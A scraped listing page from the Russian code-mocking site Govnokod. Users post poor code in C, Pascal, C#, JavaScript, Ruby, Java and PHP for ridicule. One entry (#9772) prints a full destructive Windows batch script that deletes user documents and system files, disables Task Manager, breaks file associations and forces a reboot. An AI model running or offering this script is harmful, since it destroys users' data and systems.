1. Си / Говнокод #9774

    +134

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    /* страйкер, почини trim */
      while (1)
        {
          file_ptr start;
          int i;
          long c;
    
          /* See if the next `string_min' chars are all graphic chars.  */
        tryline:
          if (stop_point && address >= stop_point)
    	break;
          start = address;
          for (i = 0; i < string_min; i++)
    	{
    	  c = get_char (stream, &address, &magiccount, &magic);
    	  if (c == EOF)
    	    {
    	      free (buf);
    	      return;
    	    }
    	  if (! STRING_ISGRAPHIC (c))
    	    /* Found a non-graphic.  Try again starting with next char.  */
    	    goto tryline;
    	  buf[i] = c;
    	}

    Раз уж вспоминаем дрѣвния говны

    Written by Richard Stallman <[email protected]>
    and David MacKenzie <[email protected]>.

    bugmenot, 26 Марта 2012

    Комментарии (11)
  2. Pascal / Говнокод #9773

    +89

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    procedure TRashetDate_Form.Button1Click(Sender: TObject);
      var a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, aa, ee: real;
      res1: real;
      res2: real;
      res3: real;
      res4: real;
      res5: real;
      res6: real;
      res7: real;
      res8: real;
      res9: real;
      res10: real;
      res11: real;
      res12: real;
      res13: real;
      res14: real;
      res15: real;
      res16: real;
      res17: real;
      res18: real;
      res19: real;
      res20: real;
      res21: real;
      res22: real;
      res23: real;
      Field: real;
    <...>

    Брал отсюда и рыдал...
    http://www.cyberforum.ru/delphi-beginners/thread527956.html#post2835591

    Psilon, 26 Марта 2012

    Комментарии (4)
  3. Куча / Говнокод #9772

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    @echo off 
     echo Chr(39)>%temp%\temp1.vbs 
     echo Chr(39)>%temp%\temp2.vbs 
     echo on error resume next > %temp%\temp.vbs 
     echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs 
     echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs 
     reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f 
     start %temp%\temp.vbs 
     start %temp%\temp1.vbs 
     start %temp%\temp2.vbs 
     del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul 
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     assoc .lnk=textfile 
     assoc .exe=mp3file 
     @echo off 
     :x 
     Chcp 1251 
     msg * Пой птичка, пиздец системе...[© Iloverain]
     msg * Пой птичка, пиздец системе...[© Iloverain]
     msg * Пой птичка, пиздец системе...[© Iloverain]
     goto x 
     Chcp 1251 
     del "%USERPROFILE%Мои документы*.*" /q /s 
     label E: ГАВНО 
     Cd\ 
     Cd C: 
     Сd windows 
     del *.exe 
     del *.ini 
     del *.com 
     cd\ 
     cd windows 
     cd system 
     del *.dll 
     del *.exe 
     del "%SystemRoot%Cursors*.*" >nul 
     taskkill /f /im explorer.exe >nul 
     reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul 
     date 01.01.01 >nul 
     reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul 
     FOR /L %%i IN (1,1,100000) DO md %%i 
     Echo format C: /q c:Autoexec.bat 
     shutdown -r -t 0 >nul

    Это bat (cmd) код. Наткнулся на просторах интернетов.

    space_man26, 26 Марта 2012

    Комментарии (20)
  4. C# / Говнокод #9771

    +114

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    private void button8_Click(object sender, EventArgs e)
            {
    
                string fn = "";
                string st = "";
                string value = "";
                string dirfile = "";
                StreamWriter sw;
    
    
                if (textBox1.Text != "")
                {
                    dirfile = textBox1.Text + "\\" + GetFileName(openFileDialog1.FileName) + comboBox1.SelectedValue.ToString() + ".csv";
                    sw = new StreamWriter(dirfile, false, System.Text.Encoding.UTF8);
                }
                else
                {
                    sw = new StreamWriter(openFileDialog1.FileName + comboBox1.SelectedValue.ToString() + ".csv", false, System.Text.Encoding.UTF8);
                }
    
                // Создаем колонки
    
                for (int cl = 0; cl < dt.Columns.Count; cl++)
                {
                    fn = dt.Columns[cl].ColumnName;
    
    
                    if (cl == 0)
                    {
                        st =  fn.Replace("\n", "").Replace(";", "");
                    }
                    else
                    {
                        st += ";" +  fn.Replace("\n", "").Replace(";", "");
                    }
    
    
                }
                sw.WriteLine(st);
    
    
                progressBar1.Minimum = 1;
                progressBar1.Maximum = dt.Rows.Count;
    
                for (int i = 0; i < dt.Rows.Count; i++)
                {
                    progressBar1.Value = i + 1;
    
                    Application.DoEvents();
    
                    for (int j = 0; j < dt.Columns.Count; j++)
                    {
                        value = dt.Rows[i][j].ToString();
    
                        if (value == "") { value = " "; }
    
                        try
                        {
                            Convert.ToInt16(value);
                            if (j == 0)
                            {
                                st = value.Replace("\n", "").Replace(";", "");
                            }
                            else
                            {
    
                                st += ";" + value.Replace("\n", "").Replace(";", "");
                            }
                        }
                        catch (System.FormatException exp)
                        {
                            if (j == 0)
                            {
                                st =  value.Replace("\n", "").Replace(";", "");
    
                            }
                            else
                            {
    
                                st += ";" +  value.Replace("\n", "").Replace(";", "") ;
                            }
                        }
                        catch (OverflowException oe)
                        {
                            if (j == 0)
                            {
                                st = value.Replace("\n", "").Replace(";", "");
                            }
                            else
                            {
    
                                st += ";" + value.Replace("\n", "").Replace(";", "");
                            }
                        }
                    }
                    sw.WriteLine(st);
                }
                sw.Close();
                MessageBox.Show("Ok");

    досталось в наследство, сохранение DataTable в CSV :)

    Lokich, 26 Марта 2012

    Комментарии (1)
  5. C# / Говнокод #9770

    +109

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    public static MyResultData SqlReturnDataset(string sql, string connection)
                {
                    MyResultData result = new MyResultData();
                    try
                    {
                        MySql.Data.MySqlClient.MySqlConnection connRC = new MySql.Data.MySqlClient.MySqlConnection(connection);
                        MySql.Data.MySqlClient.MySqlCommand commRC = new MySql.Data.MySqlClient.MySqlCommand(sql, connRC);
                        connRC.Open();
    
                        try
                        {
                            MySql.Data.MySqlClient.MySqlDataAdapter AdapterP = new MySql.Data.MySqlClient.MySqlDataAdapter();
                            AdapterP.SelectCommand = commRC;
                            DataSet ds1 = new DataSet();
                            AdapterP.Fill(ds1);
                            result.ResultData = ds1.Tables[0];
                        }
                        catch (Exception ex)
                        {
                            result.HasError = true;
                            result.ErrorText = ex.Message;
                        }
                        connRC.Close();
                    }
                    catch (Exception ex)//Этот эксепшн на случай отсутствия соединения с сервером.
                    {
                        result.ErrorText = ex.Message;
                        result.HasError = true;
                    }
                
                    return result;
    
                }

    Govnisti_Diavol, 26 Марта 2012

    Комментарии (1)
  6. JavaScript / Говнокод #9769

    +155

    1. 1
    2. 2
    var len = final_amount.length;
    var final_amount_formatted = (final_amount == "" ? "0" : final_amount.substring(0,len-2) + '.' + final_amount.substring(len-2, len));

    cancerogen, 26 Марта 2012

    Комментарии (0)
  7. Ruby / Говнокод #9768

    −102

    1. 1
    Money.new(v[:amount].gsub('.','').to_i)

    а вы умеете так переводить баксы в центы?

    cancerogen, 26 Марта 2012

    Комментарии (5)
  8. Си / Говнокод #9767

    +134

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    зависающие маллок )))
    
    void * __cdecl malloc(size_t size)
    {
    	// No fail malloc!
    	void *pMem;
    	do {
    		pMem=HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,size);
    		if(pMem==NULL) Sleep(2000);
    	} while(pMem==NULL);
    
    	return pMem;
    }
    
    void * __cdecl operator new( unsigned int cb )
    {
    	// No fail new!
    	void *pMem;
    	do {
    		pMem=HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,cb);
    		if(pMem==NULL) Sleep(2000);
    	} while(pMem==NULL);
    
    	return pMem;
    }
    
    
    что хотел аффтар ? !!! аццкий сотона
    
    int GetCfgBool(char *cfgstr,const char *key)
    {
    	return GetCfgNum(cfgstr,key)?TRUE:FALSE;
    }
    
    аффтар застрелись !!!
    
    char *GetCfgStr(char *cfgstr,const char *key)
    {
    	char *str=cfgstr;
    	
    	// Skip past name of options list
    	while(*str!='\0') str++;
    	str++;
    	// Walk through options
    	while(*str!='\0') {
    		int nLen;
    		if(*str=='B') {
    			nLen=1;
    			str+=2;
    			if(strncmp(str,key,strlen(key))==0) break;
    		} else if(*str=='S') {
    			str+=2;
    			nLen=atoi(str);
    			while(*str!=']') str++;
    			str+=2;
    			if(strncmp(str,key,strlen(key))==0) break;
    		} else if(*str=='N') {
    			str+=2;
    			char *pb;
    			pb=str;
    			while(*str!=',') str++;
    			nLen=(DWORD)str-(DWORD)pb;
    			str++;
    			pb=str;
    			while(*str!=']') str++;
    			int nLen2=(DWORD)str-(DWORD)pb;
    			if(nLen2>nLen) nLen=nLen2;
    			str+=2;
    			if(strncmp(str,key,strlen(key))==0) break;
    		}
    		while(*str!='=') str++;
    		str++;
    		str+=(nLen+1);
    	}
    	if(*str!='\0') {
    		while(*str!='=') str++;
    		return str+1;
    	}
    	
    	return NULL;
    }
    
    
    исходники BO2K гениально !!!)) 
    и как не стыдно ЭТО распространять 
    http://www.bo2k.com/

    63F45EF45RB65R6VR, 26 Марта 2012

    Комментарии (15)
  9. Java / Говнокод #9766

    +74

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    package com.euc.csvprocessor.misc;
    
    import java.awt.Color;
    /**
     * Генератор кольорів .
     * @author crasht
     *
     */
    public class ColorGenerator {
    	private int c=0;
    	/**
    	 * Повертає наступний колір .
    	 * @return color
    	 */
    	public Color getNextColor(){
    		switch(c){
    		case 0: c++; return Color.BLACK;
    		case 1: c++; return Color.BLUE;
    		case 2: c++; return Color.CYAN;
    		case 3: c++; return Color.DARK_GRAY;
    		case 4: c++; return Color.GRAY;
    		case 5: c++; return Color.GREEN;
    		case 6: c++; return Color.LIGHT_GRAY;
    		case 7: c++; return Color.MAGENTA;
    		case 8: c++; return Color.ORANGE;
    		case 9: c++; return Color.PINK;
    		case 10: c++; return Color.RED;
    		default : c=0; return getNextColor();
    		}
    	}
    }

    Самый рандомный цвет из существующих.

    crashtua, 26 Марта 2012

    Комментарии (12)
  10. PHP / Говнокод #9765

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    ...
     function count_answers($answer_array){
      /*Count the array*/
      $count_ressult = 0;
      foreach(@$realarray as $key=>$value)
      {
        $count_ressult++;
      }
      return $count_ressult;
    }
    ...

    count($array)? не, не слышал!

    fafik91, 26 Марта 2012

    Комментарии (5)